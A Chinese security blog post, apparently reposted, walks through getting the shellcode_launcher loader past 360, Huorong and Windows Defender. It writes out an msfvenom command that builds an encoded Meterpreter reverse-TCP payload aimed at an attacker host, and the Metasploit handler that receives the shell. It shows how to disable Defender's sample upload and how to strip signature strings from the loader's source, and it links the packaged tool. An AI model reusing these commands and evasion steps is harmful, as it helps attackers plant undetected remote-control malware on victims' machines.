干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

admin 2022年1月21日21:08:18安全文章评论97 views5341字阅读17分48秒阅读模式
✎ 阅读须知


乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

老树开新花之shellcode_launcher免杀Windows Defender

免杀效果

静态免杀

动态免杀效果(指的是可执行命令)

1. 准备条件

本文中的免杀方式在我写完文章之后,免杀基本已经失效,毕竟是见光死,所以仅供各位师傅参考,内容上如有错误,希望师傅们能够指正!

本文在测试时,发现可免杀最新版火绒最新版联网360Windows Defender最新版(关闭可疑文件上传)

本文工具已打包至我的GitHub,欢迎多多star

https://github.com/crow821/crowsec/tree/master/BypassAv_new_shellcode_launcher

当然,如果你访问GitHub不方便,你也可以在本公众号中回复关键字:免杀  直接下载!

1.1 环境准备

攻击机: mac
ip地址:10.211.55.2 

运行msf6进行测试 

免杀软件:shellcode_launcher 

https://github.com/clinicallyinane/shellcode_launcher/

测试机1: Windows10 

ip地址:10.211.55.3  

运行安全防护:360最新版Windows Defender最新版

测试机2: Windows7
ip地址:10.211.55.9
运行安全防护:火绒最新版

测试机3: Windows server2019
ip地址:192.168.238.145
运行安全防护:火绒最新版Windows Defender最新版

其中,测试机均在虚拟机环境中。

1.2 shellcode知识介绍

shellcode加载器shellcode的通俗比喻:

shellcode加载器是枪,shellcode是子弹,二者缺一个都无法使用,所以免杀里面有很多关于二者的爱恨情仇,在这里就不多赘述了。

shellcode_launcher算是一个很古老的shellcode加载器,距离今天已经有8年了,在今天2022.01.16再次试试(2021.06.18免杀360),国内主流杀软对其免杀能力如何:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

下载到本地:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

在这里要保留该文件。

1.3 生成shellcode

首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_na编码模块:生成的监听机器为mac,ip为10.211.55.2,端口:1234

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=10.211.55.2 lport=1234  -f raw -o shellcode.raw
干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender
干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

因为当前shellcode是混淆过的,目前可以过Windows Defender和国内主流杀软,所以后面将不会对shellcode进行免杀测试,因为对本文来说没有太大意义,当然仅仅是本文而已!

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

但是这不代表shellcode可以过所有av,在VT上传之后,可以发现,其实有诸多杀软可以直接识别shikata_ga_nai编码加密模块特征:

样本链接:https://www.virustotal.com/gui/file/5ee4f74eb9cc7da9fbe61f933739177d9e042dc597da63fe93ec8959f27d3dc8

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2. 无杀软的情况测试上线

首先测试下关闭所有杀软的的情况下,测试其能否正常上线:将raw文件拷贝到Windows10中,并且关闭所有杀软。

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

mac上开启msf进行监听:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.211.55.2
LHOST => 10.211.55.2
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.211.55.2:1234

然后执行shellcode_launcher加载器:

shellcode_launcher.exe -i shellcode.raw

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

此时mac收到会话,并且可以正常执行命令:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2. 免杀测试

2.1 360联网测试

shellcode_launcher使用360联网查杀试试:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

直接被杀,直接就发现了当前是木马文件,毕竟这是8年前的加载器!

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2.2 免杀360

因为shellcode_launcher项目,作者给的不仅有shellcode_launcher.exe,还有源代码,因此在这里尝试使用作者的源代码自主打包编译测试下:

使用vs2012打开(这部分可百度如何安装vs2012)作者的源代码文件:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

在这里不做任何的修改,直接编译文件:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender
干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

文件编译为shellcode_launcher.exe成功,先看下:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

这里将两个文件都修改下名字:

shellcode加载器:

crow_test_av.exe 

shellcodecrow_test_av.raw

在没有进行360联网查杀的情况下直接进行测试:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

在这里看到,可以过360,而且可以执行命令,在这里我就不主动进行360联网查杀了,如果联网查杀的话,就会导致木马样本上传,几分钟之后就会被杀!!!

在这里放一张早期2021.06.18测试的图:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2.3 火绒联网测试

在GitHub上直接下载的shellcode_launcher.exe ,复制进来之后直接被秒杀:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

如果直接被杀,那将刚刚手动编译过360的木马拿过来试试:复制进行之后,直接又被秒杀!!!

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2.4 思考

一般情况下,bypass火绒的方法是比较容易的,因为火绒主要是静态免杀(这里不绝对),所以在这里过了360的没过火绒的话,应该是文件里面的某些关键字命中了火绒的黑名单。那在这里可以简单的分析下:

使用strings来提取crow_test_av.exe中的字符,命令:

strings.exe crow_test_av.exe > 0115.txt

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

分析提取字符串的文件,该文件的内容较多,但是在这里面出现了shellcode_launcher.exe关键字,而且在源代码中也出现了该关键字:提取字符串:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

源代码:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

但是在这里关键字实在太多了,短时间内可能无法不太好进行测试,因此在这里将当前的cpp代码直接复制一份到火绒环境中去:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender
复制进行之后,发现当前文件没有被杀:
干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

修改后缀为exe之后,也没有被杀:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

那在这里可能暂时没有好的方法,只能够直接对作者的源代码进行修改。

2.4 免杀火绒

在当前环境中,使用如下方式进行替换关键字:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

shellcode_launcher替换为hello_crow

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

此时有3处被替换,直接编译为exe试试,如果能过火绒的话,那就bypass成功,如果不行的话,再继续:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

文件改名之后,火绒免杀测试:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

此时发现,还是不行,那就继续:

将下面的代码直接注释或删除:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

再进行编译,将编译生成的shellcode_launcher.exe直接修改为a.exe,再次bypass火绒测试下:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

貌似byass成功,测试下能否正常上线:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

此时免杀火绒成功。

2.5 Windows Defender

2.5.1 开启Windows Defender

首先开启Windows Defender,在存在360Windows Defender的场景中,Windows Defender会默认关闭,所以在这里要在360设置中将其开启:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

并且顺手关闭360!!!

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

Windows Defender开启之后,一定要记得关闭Windows Defender的样本自动上传功能!!!

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2.5.2 静态免杀Windows Defender

2.4节中已经免杀了火绒,在这里直接将刚编译出来的exe文件拿过来(bypass火绒的a.exe)静态扫描测试下:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

此时Windows Defender认为其是一个安全的文件。那当初直接编译的crow_test_av.exe呢?

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

同样在扫描中,认为其是一个安全的文件,那原始的shellcode_launcher.exe是不是也不杀呢?将shellcode_launcher.exe直接复制进去看下:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

Windows Defender直接秒杀。

那再试试动态,目前免杀中最难的地方基本全都在动态上。

2.5.3 动态上线Windows Defender测试

在这里将当前a.exe以及直接编译的crow_test_av.exe放在一个文件夹中,加载相同的shellcode,分别进行上线测试:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

直接编译的crow_test_av.exe

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

在这里可以看到,直接编译后的文件直接可以免杀Windows Defender

去特征的a.exe

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

2.5.4 免杀winserver2019 Windows Defender

winserver2019中,开启火绒最新版Windows Defender最新版,动态上线测试通过:

最新版火绒

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

同样Windows Defender关闭自动提交样本:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

当前Windows Defender病毒库是最新的:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

使用同样的方法进行测试,火绒将直接打包的crow_test_av.exe秒杀!!!但去特征之后的a.exe正常上线运行。

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

3. 简单修修改改

其实这里简简单单的修改也可以不加。

3.1 添加图标

为当前的项目增加一个图标,按照如图所示,添加资源:

在这里添加Icon,并选择导入图标:

在这里选择ico文件,ico可以自行生成:http://www.bitbug.net

将图标文件导入,再编译:

编译完成之后,进行上线测试,此时上线成功:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

3.2 添加混淆代码

在这里也可以添加一些混淆代码(早期主要是过火绒)

如图所示,新建项:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

添加c++文件,并且修改其名称,然后选择添加:

在里面输入任意的代码:

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

编译下,生成新的文件,再进行上线测试。

3.3 Bypass 火绒

3.4 Bypass Win Defender & 360

4. 总结

4.1 免杀情况

直接整理为图片吧:(可放大)


干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

4.2 缺点

在本文中,基本没有对作者的源代码进行分析,这里主要是因为篇幅太长,不适合进一步分析,其实可以在作者的基础上延伸一些更加好的方法,本文免杀中存在待优化的问题:

1.使用msfvenom生成的shellcode会被一部分杀软标记,这些东西其实深入探究源码之后,去除特征并不算难解决。2.在这里看到静态免杀还是比较容易的,但是如果是执行命令等动态操作,基本上都会被优秀的杀软识别,所以在免杀上过动态检测才是研究免杀的关键。

本文在写文章的时候,可能还存在一定的问题,希望各位师傅能够批评指正,不胜感激!

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

往期文章有彩蛋哦干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

一如既往的学习,一如既往的整理,一如即往的分享干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender

如侵权请私聊公众号删文

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月21日21:08:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  干货分享 | 老树开新花之shellcode_launcher免杀Windows Defender http://cn-sec.com/archives/744473.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: